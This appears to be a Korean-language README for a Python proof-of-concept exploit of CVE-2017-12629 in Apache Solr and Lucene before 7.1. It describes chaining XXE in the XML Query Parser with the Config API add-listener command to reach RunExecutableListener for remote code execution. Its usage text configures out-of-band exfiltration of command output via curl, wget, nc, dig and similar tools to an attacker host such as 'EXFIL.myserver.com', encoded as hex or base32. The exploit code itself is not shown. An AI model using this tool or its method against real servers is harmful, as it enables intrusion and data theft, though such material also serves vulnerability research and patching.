
Apache Solr 7.1 이전 버전과 Apache Lucene 7.1 이전 버전에서는 XXE와 Config API add-listener 명령 사용을 결합하여 RunExecutableListener 클래스에 도달함으로써 원격 코드 실행이 발생합니다.
Apache Solr 7.1 이전 버전과 Apache Lucene 7.1 이전 버전에서는 Config API add-listener 명령과 함께 XXE를 악용하여 RunExecutableListener 클래스에 도달함으로써 원격 코드 실행이 발생합니다. Elasticsearch는 Lucene을 사용하지만 이 취약점에는 영향받지 않습니다. XML 외부 엔티티 확장 취약점은 기본적으로 deftype=xmlparser 매개변수를 가진 모든 쿼리 요청에서 사용할 수 있는 XML Query Parser에서 발생하며, /upload 요청 핸들러에 악성 데이터를 업로드하거나 ftp 래퍼를 사용한 블라인드 XXE로 악용하여 Solr 서버에서 임의의 로컬 파일을 읽을 수 있습니다. 또한 두 번째 취약점은 영향을 받는 모든 Solr 버전에서 사용 가능한 RunExecutableListener를 이용한 원격 코드 실행과 관련이 있습니다.
명령 출력은 OOB(대역 외)로 유출해야 합니다. 이 PoC는 Hex 및 Base32 형식을 지원하며, 둘 모두 대소문자를 구분하지 않습니다.
usage: rce.py [-h] -ue URL_BASE_EXTERNAL -ui URL_BASE_INTERNAL [-b {curl,wget,ftp,ping,nc,ncat,nslookup,dig}] -e EXFIL
[-f {hex,base32}]
POC for CVE-2017-12629 (RCE via internal SSRF via XXE) by @realCaptainWoof
options:
-h, --help show this help message and exit
-ue, --url-base-external URL_BASE_EXTERNAL
External URL base of the vulnerable application; e.g, 'https://vulnerable.app/solr'
-ui, --url-base-internal URL_BASE_INTERNAL
Internal URL base of the vulnerable application; e.g, 'https://127.0.0.1:8983'; default:
'https://127.0.0.1:8983'
-b, --bin {curl,wget,ftp,ping,nc,ncat,nslookup,dig}
How to exfiltrate command output from target; default: 'curl'
-e, --exfil EXFIL Destination to exfil to. Make sure this corresponds to '--bin'; e.g, if '--bin' is 'curl', '--exfil' can
be 'http://EXFIL.myserver.com/EXFIL'. Must specify injection point via 'EXFIL' keyword.
-f, --exfil-format {hex,base32}
Format in which to exfil the command output; default: 'base32'